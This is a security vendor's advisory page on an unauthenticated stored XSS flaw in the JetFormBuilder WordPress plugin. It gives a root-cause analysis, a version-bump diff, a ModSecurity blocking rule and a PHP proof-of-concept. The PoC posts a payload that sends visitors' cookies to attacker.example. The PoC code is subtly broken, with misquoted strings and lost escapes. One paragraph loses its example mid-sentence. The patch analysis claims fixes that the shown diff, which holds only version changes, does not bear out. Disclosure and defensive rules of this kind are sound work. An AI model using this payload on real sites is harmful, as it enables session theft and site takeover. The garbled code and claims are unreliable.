Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-135666: JetFormBuilder versions up to and including 3.6.8.2 contain an unauthenticated stored DOM-based cross-site scripting vulnerability in the Insert/Update Post action. The flaw maps the form field parameter f_body to post_content via fields_map without sufficient sanitization or output escaping. Atomic Edge research rates this as high severity (CVSS 7.2) because it permits unauthenticated attackers to inject arbitrary web scripts into stored post content.
Root Cause: The vulnerability originates in the Insert/Update Post form action handler. User-supplied data arrives as the f_body parameter and is mapped directly to post_content through the fields_map configuration. The plugin fails to sanitize this field with functions like wp_kses_post before insertion into the database, and it also fails to escape the value on output. Critical context: the exploit requires that at least one form on the site contains a Calculated Field block, which enqueues the calculated.field.js gadget on pages rendering the stored post content. The vulnerable build assets at jetformbuilder/assets/build/frontend/calculated.field.asset.php and main.asset.php are updated in the diff, and the plugin version at jetformbuilder/jet-form-builder.php changes from 3.6.8.2 to 3.6.8.3.
Exploitation: An unauthenticated attacker submits a crafted request to the form’s public submission endpoint. The request includes the f_body parameter containing a DOM-based XSS payload, for example an
tag with an onerror handler or an event handler that executes when the calculated field gadget processes the value. The plugin stores this payload in post_content. When any user, including an administrator, visits the injected page, the calculated.field.js gadget reads and renders the unsanitized content, causing script execution in the victim’s browser. The attack requires no authentication and no special privileges beyond submitting the public form.
Patch Analysis: The patch increments the plugin version from 3.6.8.2 to 3.6.8.3 in jetformbuilder/jet-form-builder.php and updates the build asset versions in calculated.field.asset.php, main.asset.php, and other frontend bundles. The asset version bumps indicate that the compiled JavaScript handling the field value and calculated field rendering was regenerated with the fix. Before the patch, the Insert/Update Post action wrote the raw f_body value into post_content. After the patch, the field value is sanitized before storage and escaped on output, preventing HTML and JavaScript injection from reaching rendered pages through the calculated field gadget.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user who views the injected page, including administrators. This can lead to session hijacking, credential theft, privilege escalation through malicious admin actions, and persistent site compromise. Because the payload is stored in post_content and executes via the calculated.field.js gadget, the attack persists until the malicious post is removed and affects every visitor of the injected page.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/jetformbuilder/assets/build/admin/vuex.package.asset.php
+++ b/jetformbuilder/assets/build/admin/vuex.package.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-i18n'), 'version' => '49c8f7972b163a3e175d');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-i18n'), 'version' => '4390c1b1a2dbe5c8a6c3');
--- a/jetformbuilder/assets/build/frontend/advanced.reporting.asset.php
+++ b/jetformbuilder/assets/build/frontend/advanced.reporting.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch'), 'version' => '109de918076bb7c471bc');
+<?php return array('dependencies' => array('wp-api-fetch'), 'version' => 'cf601f2db78726e70136');
--- a/jetformbuilder/assets/build/frontend/calculated.field.asset.php
+++ b/jetformbuilder/assets/build/frontend/calculated.field.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f95d8184ccc9a0b12002');
+<?php return array('dependencies' => array(), 'version' => '98e232210b24ba113d29');
--- a/jetformbuilder/assets/build/frontend/dynamic.value.asset.php
+++ b/jetformbuilder/assets/build/frontend/dynamic.value.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'bbcaf2d83e12beb585d2');
+<?php return array('dependencies' => array(), 'version' => '2040a862f1fcfa925a6c');
--- a/jetformbuilder/assets/build/frontend/main.asset.php
+++ b/jetformbuilder/assets/build/frontend/main.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '7085101ae98566800bfa');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => '0ca0822139d746b5bc79');
--- a/jetformbuilder/assets/build/frontend/media.field.asset.php
+++ b/jetformbuilder/assets/build/frontend/media.field.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '7b31835dfb8b4a43a245');
+<?php return array('dependencies' => array(), 'version' => 'a1d91f45e147393ef2a6');
--- a/jetformbuilder/jet-form-builder.php
+++ b/jetformbuilder/jet-form-builder.php
@@ -3,7 +3,7 @@
* Plugin Name: JetFormBuilder
* Plugin URI: https://jetformbuilder.com/
* Description: Advanced form builder plugin for WordPress block editor. Create forms from the ground up, customize the existing ones, and style them up – all in one editor.
- * Version: 3.6.8.2
+ * Version: 3.6.8.3
* Author: Crocoblock
* Author URI: https://crocoblock.com/
* Text Domain: jet-form-builder
@@ -18,7 +18,7 @@
die();
}
-const JET_FORM_BUILDER_VERSION = '3.6.8.2';
+const JET_FORM_BUILDER_VERSION = '3.6.8.3';
const JET_FORM_BUILDER__FILE__ = __FILE__;
const JET_FORM_BUILDER_SITE = 'https://jetformbuilder.com';
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-135666
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261356,phase:2,deny,status:403,chain,msg:'CVE-2026-135666 JetFormBuilder stored XSS via f_body',severity:'CRITICAL',tag:'CVE-2026-135666',tag:'OWASP_CRS/WEB_ATTACK/XSS'"
SecRule ARGS_POST:action "@streq jet_form_builder_submit" "chain"
SecRule ARGS_POST:f_body "@detectXSS" "t:none,t:urlDecodeUni,t:htmlEntityDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-135666 - JetFormBuilder <= 3.6.8.2 - Unauthenticated Stored DOM-Based XSS via post_content via Insert/Update Post Action
$target_url = 'http://localhost:8080'; // Change to the target WordPress site
// Step 1: Discover the form ID and submission endpoint. The attacker needs a public form
// that uses the Insert/Update Post action with f_body mapped to post_content via fields_map.
// For this PoC we assume the form ID is known or enumerable from the page source.
$form_id = 1;
// Step 2: Craft the malicious payload. The payload executes when the calculated field
// gadget renders the stored post_content. It uses an event handler to bypass simple filters.
$payload = '<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">';
// Step 3: Build the submission request. JetFormBuilder accepts form submissions through
// the WordPress admin-ajax or REST endpoint depending on configuration. We target the
// public form submission handler with the f_body field populated with the payload.
$endpoint = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'jet_form_builder_submit',
'form_id' => $form_id,
'f_body' => $payload, // Maps to post_content via fields_map
// Additional fields may be required depending on the form configuration
'f_title' => 'AtomicEdge PoC ' . time(),
];
// Step 4: Send the request as an unauthenticated user.
$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Sent payload to: {$endpoint}n";
http_response_code(0);
echo "[+] HTTP status: {$http_code}n";
echo "[+] Response length: " . strlen($response) . " bytesn";
echo "[+] Payload stored: {$payload}n";
echo "[!] Visit the injected post/page as an administrator to confirm DOM-based executionn";
// Note: The exact action name and required fields depend on the target form's
// configuration. Enumerate the form HTML or REST routes to obtain the form_id
// and required nonce/field names. The vulnerability itself requires no
// authentication once the form is publicly reachable.